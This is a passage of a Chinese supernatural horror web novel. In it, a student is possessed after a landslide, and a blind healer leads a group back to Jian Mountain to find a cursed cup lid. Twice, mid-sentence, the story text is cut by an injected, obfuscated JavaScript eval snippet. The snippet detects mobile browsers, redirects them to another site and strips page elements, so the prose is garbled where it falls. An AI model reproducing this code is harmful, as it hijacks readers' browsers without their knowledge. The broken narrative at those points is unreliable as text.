这个位置离上面那条山道不远,坡度也还算得上平缓,但因为暴雨和滑坡的原因,极难走。韩琮尽力用树枝做先遣队,却还是好几脚都差点踩空。 好不容易到了粉色小熊的位置,他先是试探性地喊了喊张朗和刘思畅的名字,无人应答。 接着,韩琮更靠近一点,把树枝往泥土里狠狠插进去,这才勉强找了个地方站住脚。他一只手握紧那根树枝,另一只手把盖在小熊的上的泥沙拨开一点,这才看到更多—— 小熊不是脱离了背包被埋在这里的,它是跟着整个背包和背包的主人一同被埋在这里的—— 韩琮拨开的泥沙越多,看到的越多。小熊下面是刘思畅最喜欢的那个粉背包,把粉背包周围的泥土再往旁边拨拉几下,便看到了眼熟的紫色——那是刘思畅冲锋衣的颜色。 韩琮的心沉了下来,他慢慢挪动到另一边,把紫色衣物附近的泥土尽可能地多扫除一些:他希望这件衣服和这个包只是被它们的主人丢在了这里。 天不遂人愿,韩琮的手只把那层泥土清除了一部分便停下了——人的头发和泥沙粘连在一起,细细看,泥沙中还有些暗红色的血迹。 韩琮缩回手,说不出害怕和伤心哪个更多一点。他拔出泥土里的树枝,继续往下走了走,试图寻找张朗的踪迹。 可没走两步,泥土里突然伸出一只手——那不是人的手,那只是一只白骨。它紧紧攥住韩琮的小腿,把他往下拉。 一时间,被抓住的人忘了害怕,只赶紧挣脱。挣脱的力度太大,他脚下踩的那片泥土本就松散,这一下便又形成了一次小范围的滑坡,韩琮也跟着摔了下去。 追在地上的一瞬间,韩琮觉得有什么东西插进了自己的肋骨,他分明感觉到自己的鲜血正在往外流,而插进身体里的东西像是突然活了,开始在他的体内生长。 “韩妈!”站在上面的罗子轩感觉到了下面的动静,又许久没听到韩琮的声音,索性一不做二不休,叫着陈妍一起拉绳子。 没有想象中的费劲——绳子的另一头没有人,拉上来时,陈妍吓得面色发白,罗子轩也两腿一软,直接瘫坐在地上。 4. 第四章 泥土中的杯盖 入夜了,山里温度骤降,又下起了小雨,韩琮在寒冷中醒来。他心里想着张朗和罗子轩他们,下意识想起身,却发现自己动都动不了。 稍一用劲,肺部就会传来难以忍受的剧痛。他费劲地低下头看了看,是半根折断了的白骨插进了自己的身体。 衣服已经从里到外都湿透了——从胸肺处不断涌出的血液和雨水混在一起,这个十九岁的年轻人越来越虚弱。他的手无力地向四周抓了抓,却无意间触到泥土里一个有些松动的硬物。 韩琮用尽力气把那个硬物抠出来,拿到跟前一看,是一只保温杯的杯盖。这杯盖已经变了形,盖子外表的铁锈和雨水、泥水混在一起,已经看不出本来的颜色了。 从暴雨开始到现在,一行人一直都在焦急或行走中度过。中午的压缩饼干早已经消化完了,现下韩琮只觉得又冷又饿又渴,也顾不上什么卫生了。 他用变形的杯盖接了点雨水,极为费力地喝下去,非但没觉得解渴,反而觉得五脏六腑都被冻住了。 小雨夹杂着山风落下,受伤的人太冷了。寒冷造成的麻木从肺部蔓延开来,渐渐传到了四肢、再到身体上下的每一处。韩琮无力地张了张嘴,一只手软绵绵地垂到一边,然后闭上了眼睛。 韩琮一行人在第二天上午获救。被发现时,陈妍和罗子轩出现了不同程度的失温症状,韩琮则比他们更加严重 韩仲先和程秀接到医院的电话,马不停蹄订了机票飞过去。 “没什么大事儿,肋骨摔断一根,插进体内的树枝没有伤到要害,就是血流得多了点。在医院好好养两天就没什么事儿了。”医生认真看着病历,语气温和,算是给这对老来得子的夫妻一个宽慰。 可从这一天起,怪事一件接着一件,从未停止。 先是程秀整夜整夜地做噩梦,她总梦见有人抓着她的脚喊要回家;然后是韩仲先莫名其妙受了几次不大不小的伤;再后来是韩家几个关系近一点的亲戚接二连三碰上倒霉的事儿。 最重要的还是韩琮,他开始反反复复发高烧;左小腿处先前还不大明显的手印,颜色变得一日比一日深。医生从头到脚各项检查都给他做了一遍,却只能百思不得其解地告知家属每项指标都正常。 韩仲先夫妇带着儿子四处求医,从这里的三甲医院转到那里的三甲医院,再从公立医院转到私立医院。他们不在意钱花出去了多少,可得到的结果无一例外——都是一切正常。 韩琮的情况越来越差,他的身体开始隐隐约约发出一些腐臭味;发着高烧时,他嘴里说出来的话、说话的语气竟和程秀噩梦里的一模一样。 韩家夫妇从陈妍和罗子轩嘴里知道了他们遇上暴雨和滑坡被困的事情,也知道韩琮是为了找同学才摔下去的。可他们最开始只以为儿子是滑了下去,也不知道中间具体发生了什么。 如今怪事频出,韩仲先这才觉得不对,托人找到一位神棍帮忙看看。 那神棍只看了一眼,便回绝掉了这件差事,他直截了当地告诉韩仲先夫妇:“这是骨头上的病,却又不是一般的骨头病,我治不了,不属于我的业务范畴。” “大师,大师别走。”韩仲先拦住神棍,“那怎么办,我们应该找谁?” “唉,你们也是为了儿子,那我就再多说两句吧。”神棍斟酌了半天,这才给出两条关键信息——一条是骨医,另一条是找到那个杯盖。 “你们去找找骨医,骨头上的事儿无论大小,骨医都能解决。” “大师,您知道骨医在哪儿吗?” “这我不清楚。”神棍连连摇头,“我也是听我师父说起过。传说骨医能接好活人的断骨,也能治好死人的断骨。只是谁也没真的见过,你们要真想找到骨医,还得再找别人打听打听。” “再就是,你们应该去找找你儿子出事的时候用过的东西。” “琮儿用过的东西都带回来,您看看。”闻言,程秀赶忙要上楼去拿韩琮的背包,却被神棍制止了。 “不是他的东西,他出事的时候一定是吃过什么喝过什么,或者用过什么才会这样。”神棍吸了吸鼻子,皱着眉头道,“他身上有死人味,就是因为这个。具体是什么我不清楚,但你们如果能找到那个他用过的那个东西,应该是会有一些帮助的。” 虽然没能解决实质性的问题,但韩仲先还是打算付给神棍一笔不菲的报酬。神棍坚决,只说是为了行善积德。 “再后来,我托人找了几个‘挑夫’打听消息,这位洪先生就是老郑介绍给我的。” 家里的厨师从早上忙活到现在,陆陆续续桌子上已经摆了十几个菜。老郑看着直咽口水,可韩仲先话没说完,他也不好动筷子。 “因为要找东西,我就又托老郑帮我联系到了之先生和凌先生。”韩仲先求助似的扫了一眼洪钟,“这次就是想再问问洪先生的意见,如果您也觉得大师说得不错,那明后天大家就辛苦一趟去西南。” “那直接电话说不就行了?”之胖不解。 “哎。”洪钟一副对一切了如指掌的样子,不紧不慢回答道,“有些事情,得亲耳听见,再亲眼瞧见才知道怎么回事。” 最后一道佛跳墙被分盛在几个双耳白瓷汤盅里,依次由家里的厨师端给桌上的人。 见大家都不动筷,韩仲先觉得不好意思,赶忙伸手招呼着,“各位都是贵客,为了犬子一路舟车劳顿,先吃点东西,别客气别客气。” “仲先,仲先,琮儿醒了!琮儿醒了!”饭吃到一半,韩仲先刚吩咐厨师端一碗佛跳墙上楼去,程秀就小跑着下楼冲着他喊。 “醒了?”韩仲先放下碗筷,赶紧跟着妻子上去。 “我去看看。”姜泠听见动静,也跟着放下筷子。 “诶,我也去。”洪钟不知从哪儿变出来一把折扇,扇子在他手里开了屏,看着倒挺像那么回事。 除凌岓之外的两人一听,也站起身,要跟着一起去。 “去参观出土文物吗?”姜泠不解,这么多人跟着上楼的意义是什么。 “我看了才知道是不是棍哥说的那样。”洪钟说的棍哥,就是韩仲先嘴里那位没收钱的大师。 “你们呢?”姜泠看不见,之胖和老郑却不知为什么,不敢和她那双眼睛对视。 “您二位就别跟着凑这个热闹啦。”凌岓站起来,两只手分别搭上了之胖和老郑的肩膀,把他们按回了座位,“分工不同,各司其职。” 韩琮醒了,比不醒还恐怖——洪钟跟着姜泠进屋,看到眼前的场景时,发自内心这么认为。 刚醒了的青年人没有想象中虚弱地躺在床上的样子,而是以一种极为扭曲的姿势“站”在床边:他的右腿直立,左腿上半截似乎是僵住了,而下半截则耷拉在一边——像是被外力压断后的样子。 他原本歪着头面对韩仲先夫妇,听见有人进了屋,他转头看向门那边。 “姜大夫,您快看看他这是怎么了!”韩仲先赶紧跑过来拽住姜泠。 站在韩琮跟前的程秀已经泣不成声,只抽抽嗒嗒地对着韩琮喊:“是妈妈,我是妈妈呀琮儿…” “被鬼附身了吧这是?”洪钟虽然瘦,可看着也快一米八的人,此刻却缩着脖子躲在了姜泠后面。 “我要回家。”见姜泠走过来,韩琮开口对她说话,嘴一张,一口黑乌乌的血就跟着掉下来,落在价格昂贵的地毯上。 “这就是你的家啊琮儿。”程秀并不害怕自己孩子现在的样子,她也不嫌脏,反倒伸出手想去擦儿子嘴角的血迹,却被对方避开了。 “这不是我家,我要回家。”又是一口黑血掉下来,“我想妈妈。” “琮儿,妈妈在这儿呢。”程秀说着想要扑上去抱住儿子。 “冷静。”姜泠劲儿大得出奇,见韩琮眼睛里闪过凶光,她一把就将程秀扯住了。 “我可以送你回家。”姜泠看不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564254|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一双眼睛却对着韩琮,“但你不该缠着他。” “我出不来。”终于,青年人说了一句回家之外的话。 闻言,姜泠稍作停顿,接着便从口袋里拿出一个精巧的锦囊。锦囊被打开,里面装着一个蛇形物件。 “吞下去,别嚼。”姜泠把这物件递给韩琮,面无表情。 “我不想死。” “你已经死了。”姜泠这句话说出口,一旁的程秀几乎要晕过去。 “如果想回家,就吞下去。”她把手抬高了一点,良久,才感觉手上的东西被眼前的人拿走了。 一声闷哼,韩琮倒在地上,又回到了昏死状态。程秀扑上去抱着他,嚎啕大哭。 “姜大夫,您不是说没什么大事嘛!”韩仲先跟着抹了抹眼泪,悲痛欲绝,“怎么又说已经死了啊,那我的琮儿已经死了,现在这…” “死的不是你儿子。”姜泠实在不喜欢听人哭,她试图把语气放缓安慰一下这对儿夫妇,可一张口还是显得冷漠,“你儿子没事,把鸠占鹊巢的鸠请出去就没事了。” “你是说…”韩仲先忘了继续哭,只是呆愣着问姜泠,“琮儿被鬼附体了?” “不是附体,是借骨。”姜泠也不解释这是什么意思,转头面向身后的洪钟,“你不是要看吗?现在可以看了。” 她不在意洪钟要看什么,于她而言,只想赶紧把这件事处理停当。 洪钟点了点头,一改畏畏缩缩躲在姜泠身后的怂样,把那折扇拿出来,走到韩琮跟前,将他从脚到头用扇子扇了一遍。 “洪大师,您看出什么来了?”韩仲先问。 “嘘——”洪钟煞有介事地摇了摇头,手里的扇子又在韩琮的左腿和肺部那里绕了两圈。 “嗯,明白了。”洪钟把手一摆,折扇便合住了,“韩夫人,您别太伤心,要相信姜大夫的判断。” 他不知道程秀的名字,便叫她“韩夫人”,“等我们回来,问题应该就不太大了。” 程秀脸上还挂着泪痕,却仍礼貌地对姜、韩二人道谢。 “那些药按时吃,今天这样的情况不会再发生了。”姜泠告诉程秀。 韩仲先着急想多问两句,洪钟却给他使眼色:到下面再说。 “先说一个好消息!”洪钟往那大理石桌前一站,昂起头,“那孩子没事儿。” 见众人都不答话,他有些挂不住脸,便接着道,“再说一个坏消息,我们得去趟他去过的地方。” “这算什么坏消息,来不就是为了干这个吗?”之胖觉得洪钟像个句句废话的骗子,却又不好直接骂他。 “但你们不知道去那儿找什么啊。”洪钟清了清嗓子,为接下来的发言做准备。 “看样子,您已经有数了?”凌岓礼貌询问。 “当然。”洪钟颇有几分得意,“找一个容器。” 老郑挠了挠头,不解:“容器?这也太多了,锅碗瓢盆不都是容器?” “找一个能喝水的容器,大概是杯子之类的吧,或者可能是个碗。但一定不是锅或者盆那种大家伙。”洪钟见老郑一副愁容,赶忙解释。 “你怎么看出来的?”老郑好奇,他觉得洪钟不像说书的,像个打着说书名号招摇撞骗的神棍。 “这你别管,反正得赶紧找到,越早越好。” “什么时候走?”姜泠在一旁听着,并不发表意见,但她心里对洪钟这个人开始多了几分留意。 “要不几位看看,明天行不行?”韩仲先要是自己能去,只恨不得现在就走,可求人办事,他必须依着他们的时间。 “后天吧,明天去置办要带的东西,不会耽误你事儿。”凌岓在部队里待过,退伍后加入救援队,也接受过许多专业的应急救援知识。 不同于初生牛犊不怕虎的毛头小子,他不会在没有充足准备的情况下贸然动身。更何况,几年前他也曾在西南的山里救援时遇到过怪事。 5. 第五章 湔山 “你要不要换身衣服?”临行前,凌岓十分礼貌地问姜泠—— 知道可能要出远门,凌岓和之胖、老郑他们总是在行李中随身带着户外穿的衣鞋。姜泠来的时候就背着一个小斜挎包,看起来没带什么换洗衣物。要是穿着这身裙子进山,肯定不方便。 “谢谢。我让人寄到住的地方了。”姜泠道谢,手里的书也跟着立马合上。 “这是我侄子,叫韩谦。他从小就在我家养着,和琮儿关系好。”出发前,韩仲先把之前迎众人进门的黑衬衫叫了过来,“西南几个省的生意他跟着我跑过不少,对那儿也算熟。这趟他跟你们一起去,说不定能帮上什么忙。” 之胖原本想拒绝,却被凌岓拦下:“看他挺利索一个人,多个帮手也好。” 话是这么说,可之胖还是觉得韩谦是韩仲先派来监视他们的。 除了韩谦,原本也没打算带洪钟去的,可洪钟非要跟着一起,说会有自己的用武之地;又再三保证不会添麻烦,之胖这才勉强同意。 韩琮去的地方没有直达的车。一众人先是坐飞机到了省会城市,然后又马不停蹄坐了十几个小时的大巴,再由韩仲先事先安排好的车送到提前订好的羌寨民宿。 下了车,天已经黑了。 “同志们快看,多美的星空啊!”之胖常年在外跑,这点路程对他而言完全没问题。 凌岓和韩谦没接话,两个人正帮着老郑从车里往下拿东西;姜泠只带了一个小包,下车时,也面色如常。可洪钟受不了了,车刚停下,他就蹦下去蹲在一旁干呕。 “让你别来别来,非得跟着来。现在蔫儿了吧。”之胖嘴上不饶人,手却伸过去拍着洪钟的背。 “喝点水吧。”姜泠从后备箱里拿出一瓶矿泉水递给洪钟,“别蹲着,多做几次深呼吸。” “谢谢。”洪钟咳了两声,接过水咕咚咕咚往下咽。 “这就是韩琮他们住的民宿。”行李都被都搬下了车,凌岓走过去和之胖一起把洪钟扶起来,“一共四间房,我和老之一间,老郑和老洪一间,韩谦和姜泠,你俩一人一间。” 姜泠从前台取了包裹回房,把东西都收拾好时,凌岓敲响了她的门。 “这一天都在赶路,也没怎么好好吃东西。这儿的老板做了家常菜,下去吃点吧。” 见姜泠没有下楼的意思,凌岓赶忙趁她开口前把拒绝的话堵回去,“大家都去了,刚好商量商量上山的事儿。” “好。”姜泠习惯独来独往,如果不是出于迫不得已,她是拒绝和这么多不熟的人同行的。 “这哪是家常菜,这太好吃了!”洪钟最先坐在桌子前,他已经没有刚下车的萎顿了。 “凌子快来,这老板手艺真不错!”见凌岓和姜泠过来,之胖赶紧往旁边挪了两个位置。 “尝尝这个吧。”民宿靠山近,一到夜里气温就降下来了。姜泠还是穿着裙子,怕她冷,凌岓给她盛了一碗热腾腾的汤。 “谢谢。”姜泠接过汤碗,喝下一口,觉得味道确实不错。 “姜姑娘,我有个冒昧的问题想问你。”见姜泠精准无比地接过凌岓手里的汤碗,之胖心里疑惑。 “请讲。” “你真的是瞎…盲…”之胖轻轻抽了自己一个耳光,更正道,“你的眼睛真的看不见吗?” “真的。”除非必要,姜泠说话都是越简单越好。 “可你看着不像,你也不用导盲棍,走路说话也都和正常人一样啊。”之胖费解地挠了挠头。 “练的。”姜泠回答。 之胖不好意思再继续追问,把汤锅往姜泠那儿推一推,“老板说这是他们自己腌的腊肉,是特色,多吃点。” “味道还可以吗。”正吃着,民宿老板操着一口蹩脚的普通话走过来了。 “相当可以!”老郑赞不绝口,“这是我这辈子吃过最好吃的腊肉,您这儿能卖不?我走时候再带两斤回去。” “好,好,吃得好就行。不用买,我送你们点儿。”老板是个皮肤黝黑的中年人,被这么一夸,不好意思地咧开嘴笑了笑。 “诶,老板,您坐。”见凌岓给自己使了个眼色,之胖立刻会意,“我们这次来一是想来玩玩,二是想跟您打听点事儿。” 胖乎乎的人看起来比较有亲和感,因此,之胖总能在团队里充当套话的角色。 “你说嘛。”老板笑答。 “听说这附近山里风景好,还有野菌子,您给推荐推荐,这么多山,哪座适合这两天去?”之胖给老板倒上半杯啤酒,摆出一脸求知的表情。 “你们想去山里?”老板闻言,脸色一变,严肃道,“那可不行,七八月份正是雨季,山里危险得很。” “是嘛,我看这天气挺好的啊。”见老板严肃起来,老郑赶紧插话。 “你们不懂,山里的气候本来就和外面不一样,随时要变的。雨季进山更危险,万一遇到洪水滑坡泥石流可就出不来勒!”老板把那半杯啤酒一饮而尽,叹了口气。 “你们这些年轻人啊就是不听劝。前几个月也是几个半大的小孩,说了不让进山非要进,最后死了两个伤了一个,图啥嘛!” “唉,也是,那我们还是别进去了,人得惜命。”之胖给老板敬了杯酒,然后用纸杯子挡住给凌岓使眼色的眼睛。 “是啊,人得先活着再说其他。”凌岓附和着,接上之胖的话头,“但是来都来了,既然不能进山,那您给我们讲讲山里有啥,听个故事也算不白来。” “你们真的不去?”老板有些怀疑地看着凌岓。 “真的不去。”凌岓说着,把手机递给老板,“要不把我们手机押给您?现在人没了手机都不能活,手机押给您,我们又没带地图,想走也走不了。” 老板被凌岓一长串话绕晕了,他把手机推回去,“我要你们手机干什么,我是想对你们负点责。出来玩要高高兴兴的,丢了命还能高兴起来嘛!” “就是这个理儿。”凌岓也敬了老板一杯酒,“所以您跟我们讲讲这山里的故事吧,讲讲山里的风景啥的,听您讲讲,我们就算去过了。” “对!对!”老郑刚啃完一个腊猪脚,对凌岓的话表示赞同。 “是啊,去是去不了,您给我们讲讲,就算听段儿说书。”洪钟一拍桌子,众人纷纷看向他。 “这山里能有什么故事。无非就是那些山神精怪的传说嘛。”两杯酒下肚,老板和几个人的距离拉近了些。 “有没有什么鬼故事?”洪钟越过身旁一直不说话的韩谦,探着头问。 “啥子?”老板睁大双眼,“鬼故事?” “额…就是灵异故事,不太正常的故事。”洪钟绞尽脑汁想解释得清楚一点,“譬如有没有什么神秘失踪的游客,半夜响起的哭声之类的?” “哭声嘛,倒是没有。”老板想了半天,继续道,“失踪倒是有,就是几个月前不听话非要进去的几个学生娃娃。” “您不是说他们死了吗?”老郑把凳子往前挪一挪,聚精会神地听老板讲。 “说的其实是失踪,但我们都晓得,失踪就是死了。”老板叹了口气,想起那天答他话的张朗,一方面觉得可惜,另一方面又怪自己没多劝两句。 “我还以为失踪的意思是找不着人了,以后说不定还能找着呢。”老郑嘟哝着,又问,“那他们失踪的地方有什么故事吗?” “他们失踪的那个山叫湔山,因为下头有条江,叫湔江。”老板搜了搜脑子里有关这座山的信息,缓缓开口。 “其实以前湔山好高勒,也不在现在的这里。现在那个都不是湔山原来的样子了。” “那次地震以后,湔山整个往下塌掉了,旁边比它矮一点的又靠过来了,两座山合到一起,又往前移了好远,就成了现在的湔山。” “地震?”姜泠突然问了一句 “对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564255|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,地震。”老板说着,好像想起了什么,眼眶竟湿了,“看你们年纪也不大,对那个时候的地震可能没得啥子印象咯。” “我记得。”姜泠难得说了一个长句子,“一次十分罕见的大地震,很多人在其中丧命。” “那时候不小了,我们应该都有印象。” 凌岓记得自己当年还在上小学,下午上课的时候,家在东部地区的他感觉教学楼在晃。等回了家,所有的电视频道都在报道地震灾区,那是他第一次知道什么叫遇难,也是第一次知道什么是地震。 “但我记得,这里不是震源啊。”凌岓记得震源离他们现在所在的地方还有一段算远的距离。 “唉,就因为不是震源,当时好多人都不知道我们这里其实受灾很严重。”老板想起往事,擦了擦眼睛,点起一根烟,“我们那个时候也不晓得是住在啥子中央断裂带上。后来才知道不是震源,但在那个断裂带上,受的影响也很大。” “你们看我一个人在这里开个店,也是因为想守着老婆娃儿。”老板说完这句话,自己倒满一杯酒,一饮而尽。 众人猜到了老板话里的意思,一时都不知道该怎么接话。反倒是老板自己,喝完了酒,又继续讲下去。 “那个时候,就是地震的时候,在山上的人都莫得了。”老板拍拍老郑的肩膀,苦笑着说,“找不着的、没人认领的、被石头砖头砸得认不到的、只剩下半截子的,都叫失踪。” “当时山上也有娃娃儿,地震之后,有的父母跑过来找,山都变咯,娃娃儿又哪里还能找到。”老板又点了一根烟,回忆着。 “地震之后头几年,好些人会在清明或者过年的时候回到这里祭奠亲人。到了这几年,有的人搬走了,来这边的人也就少了些。” “说到这,我想起来了。”老板把身体往前倾了倾,“头几年,有人过来烧纸的时候说听到自己屋头的人喊他们。不过那个时候也没当回事情,可能是太想自己的亲人了。” “也是,因为太思念,所以会触景伤情,幻听了。”老郑听老板说完,心里也觉得难过。 “哎呀,搞得这么伤感。”之胖悄悄抹了把眼睛,举起纸杯打破低沉的气氛,“敬老板一个!也敬咱们的同胞一个!” 夜深了,老板收完碟子碗筷,晃晃悠悠回了房间。 “发给大家的东西都记熟了吗?”各回各屋睡觉前,凌岓问。 出发时,凌岓给每人都发了一份资料,里面是应急措施、湔山一带的地形图和近期的气候分析。 “记熟了,记熟了。”老郑和洪钟喝得有些多,但还是大着舌头回答他。 “那早点休息吧,明早五点见。”说完,凌岓和之胖各夹着一个人上了楼。 姜泠睡不着,她站在窗边看着不远处的群山——她不是第一次来这里,诚如老板所说,这里发生了很大的改变。 上一次来时,这里并不是如今青山绿水的样子。姜泠还记得那几天的场景:残肢断臂随处可见、遍地哀嚎不绝于耳、碎石山屑和浊水泥浆混搅在一处、楼宇宗庙和塔柱林木都不能幸免于轰然倒塌的结局。 “我想回家”——韩琮的声音在她脑海中响起,一向淡漠的姜泠突然觉得自己产生了什么不一样的感觉。 “别着急,我会带你回家。”姜泠不知在对谁说话,推开窗时,夜的寒气扑面而来,她却不觉得冷。 湔江,长江支流沱江的支流。江水流了千百年,哺育了许多来自不同民族的孩子。湔山依江伫立,为江水哺育的孩子们提供更为丰富的资源。 天崩地裂的一瞬间,古老的高山和它的孩子们埋在一处,血肉交融。 逝者已逝,遗憾长存。这些遗憾将在某一年某一天以另一种方式被弥补。而姜泠此行,不仅为了治好缠绵病榻的韩琮;更是为弥补一段遗憾。 远山寂静,盲女伸出手,一条银白色的小蛇吐着信子,攀上了她的手心。 6. 第六章 骨洞 清晨五点,夏季的天空已经大亮了。洪钟迷迷瞪瞪下楼,又迷迷瞪瞪跟着身边的人走了一段时间,就听见之胖中气十足的声音在前面响起:“到了,就这儿。” 青翠的苍山近在咫尺,即便已经不复当年耸入云霄的高度,却依旧叫来到山脚下的人油然而生一种敬畏感。 临行前,韩谦特意给众人听了一段录音——那是他以韩琮哥哥的名义同陈妍与罗子轩的对话。 幸存者只记得韩琮出事时所在地的一些特征,至于上山时的路,两个人都不太记得了——事实上,即便记得也于事无补,三个月来大大小小的雨早已经改变了山路的面貌。 “我有点能理解那几个小孩了。”之胖走在最前面,一脚跨过一条横亘在山路中间的裂缝,看了看天,“这么好的天气,搁城里头绝对不可能下雨。” 跟在他后面的老郑也跟着看了一眼天,万里无云,天蓝得像是修图软件里的纯色背景,阳光从叶缝中流出来,还能感觉到一点刺眼。 “这个地界儿,人杰地灵,但灾祸也多。”洪钟紧跟着老郑,发出感慨,“老天是很公平的,有好就必然有坏。这天府之国哪都好,养出来的人也都是了不起的人;但同样的,那些地质灾害带来的伤害也不少。” “前面应该快到了。”凌岓走在最后面,心里反复推演着路线。刚刚路过一个被巨石半掩的山洞,他想那应该就是韩琮他们避雨的地方。 果然,过了山洞不出二十分钟,众人就看到了那棵带有救援标记的树。 许是出发得早,也许是晴天路好走,走到树跟前时之胖看了一眼表,比预想的早到一小时。他转过身挥手,“到了到了!就是这儿!我们在这儿原地休整一下!” “这就是陈妍他们提到的树。”之胖看着树干上那一圈搜救绳留下的痕迹,又看了看树下的斜坡,“这看着也不陡,那孩子怎么能摔下去呢?” “估计还是当时刚下完雨的原因,路滑。”老郑和凌岓也走过来看了看树上的痕迹。 “不管怎么样,都得下去才知道。”凌岓目测了一下这条斜坡的距离,心里有了主意,他拉过之胖和老郑,“一会儿我先下去探探情况,确认完了你们再下。” 姜泠坐在山道上一块凸起的石头上闭目养神,银白色的小蛇从她的冲锋衣口袋里探出头,朝向斜坡焦躁地吐着信子。感觉到了蛇的异动,她蓦地睁开眼,微微侧着耳朵。 眼睛的不便会使耳朵格外灵敏,身边的人尚未发现什么异常,盲女却听到似有若无的哭声。 “喂喂喂,听得到吗听得到吗?”之胖对着对讲机喊,把正在扣保险扣的凌岓吓了一跳。 “你离这么近,聋子也听得到。”凌岓把对讲机又往腰包里塞了塞,一双粗织手套扯了扯安全绳,“没问题,我就先下。” “凌子,虽说我置办的物件你放心,但是…”之胖欲言又止。 “但是什么?”凌岓抬眼看见之胖严肃的表情,打趣道,“你别告诉我你把买装备的钱都装自己兜里了,吃回扣了?” “什么跟什么呀。”之胖板着脸,看了一眼在安全绳另一端上保险的韩谦,压低声音,“我看这地儿有点邪性,你要是觉得不对,赶紧上来。钱要紧,命更要紧。” “放心吧。”凌岓刚准备攀着绳子下坡,就被姜泠拦住了。 “我和你一起下去。”姜泠说。 凌岓一愣,接着换上一口极轻和的语气:“下是要下的,等我先下去看看情况,没什么问题你们再下。” “就是因为不安全,我才要跟你一起下去。”姜泠语出惊人,语气却平淡如水。一时间,老郑、洪钟和韩谦纷纷侧目看向这边。 凌岓原本准备向下的身体又站正了,他面色严肃,语气却还是一样轻和,“你怎么知道不安全?” 这下轮到姜泠怔住了,她总不能告诉这些人,是一条蛇告诉她的吧。踌躇片刻,她说,“个人隐私,无权过问。如果你们想安全出去,最好相信。” 她本来想说“如果你们信任我”,但一转念,几个各有目的凑到一起的陌生人,即便相处了几日也谈不上信任。 “嘶——”老郑皱起眉,觉得姜泠的语气活像个生瓜蛋子,“你这个姑娘,大家都是一条船上的,也算得上战友了,你怎么这么说话。凌子先下去,那还不是为了…” “老郑!”凌岓打断老郑的埋怨,对姜泠说,“你不愿意说就不说。只是你一个姑娘,眼睛又不方便,下面的路谁也没走过,大家都不放心。” “这不劳费心。”姜泠试图礼貌地回复,可这语气听起来还是有些生硬。 “那先把安全绳系上吧。”凌岓也不恼,他外表看起来生人勿近,实际上却是最有耐心的,“会用安全绳吗,要不然我帮你。” 说着,凌岓接过之胖递来的安全绳,打算帮忙。姜泠摇了摇头,“不用,我就这样下去。” “姜大夫,你是一个大夫,不是特种兵,得听劝呐。”之胖一个老好人闻言也是一惊,“这坡度看着不陡,但土质不好。万一掉下去了,你一个姑娘家,细皮嫩肉的,哪禁得住摔啊!” “不用。”姜泠又重复了一遍,“不用救我,有任何问题,我自己负责。” “你…”之胖还想再说什么,却见凌岓摆了摆手。 “那走吧。”凌岓不多劝,虽然他也觉得这女孩有点不知天高地厚,但还是暗自盘算着多个心眼,尽量保证两人都安全上来。 之胖说的没错,斜坡看着不陡,土质却不好。雨季连绵不断地冲刷让这里的泥土变得湿软蓬松,饶是凌岓经验丰富,也深深浅浅陷进泥里好几脚。 和他不同,姜泠在斜坡上稳稳走着,好像自带导航系统一样。凌岓观察了很久都没发现她流露出半点慌张的神情。那种从容自得的样子更像是在海边度假。 “嗯?”凌岓突然看见什么,拉住了绳子,“这是不是陈妍说的那个女孩的东西?” 话问出口,他才反应过来,姜泠看不见。 “粉色的小熊?”凌岓刚想解释,姜泠却已经有了数,她停下脚步,等待下文。 “好像是。”男人蹲下来看了看土里那个有些褪色的熊,又往下看了看——这个斜坡挺长,走到这里竟然都没有头。 “老之老之。”凌岓掏出对讲机喊。 “在呢在呢!怎么了?遇到危险了?”之胖有些着急。 “不是危险,我们找到了那个姑娘的挂件。” “啊?” “就是那个去世的女孩。我记得那俩小孩说,他们是在路上看到这个挂件的,我们走了这么久才看到这个,估计是后面下雨又把位置往下冲了冲。” “你们现在到头了没?” “没有,除了路不太好走,没遇到什么别的危险。”凌岓又看了看斜坡,“这坡挺长,要不你们先下来。我怕要找的东西就在这附近,别错过了。” “行,那我们下去。”之胖说着,开始行动。 “老洪就别让下来了,他在上面接应我们吧。”凌岓不放心,又冲着对讲机补充了一句。 “不行不行!”之胖的对讲机被洪钟夺了去,“要走一起走,不能搞歧视!” 等待之胖一行人的空档,凌岓在那只小熊附近仔细看了看,总觉得哪里不对。 “这里的土,和上面的不一样。”姜泠突然开口。凌岓一抬头,就看见她蹲着身子,用手在地上轻轻摸着。 “上面的土松软,这里的土就像被车压过。”说着,蹲下的人抓起一抔土凑在鼻尖闻了闻。 一阵窸窸窣窣的声音响起,两人立时警觉,那声音却又很快消失了。 “来了来了!”之胖稳稳站在凌岓身旁,后面跟着的,依次是老郑、韩谦和洪钟。 “你听到了?”凌岓问。 “听到什么?”之胖摸不着头脑,却听见姜泠说,“嗯,很奇怪的声音。” “声音?”之胖纳闷,“是我们下来的时候踩到泥里的声音吧。” “不是。”姜泠和凌岓异口同声。 “算了,找的时候注意安全。”凌岓说着,指了指小熊,“那就是那个去世的姑娘留下来的。” “那就从这儿开始吧。”之胖从包里掏出两把工兵铲,递给凌岓一把,自己朝另一边开挖。 一铲子还没碰到土,洪钟的惨叫声就直直冲进耳膜:“救——啊啊啊啊——” “命”字还没说出口,众人就看见洪钟好像被什么东西飞速拖向了坡底。 凌岓反应最快,率先下去救人;之胖和老郑紧随其后。 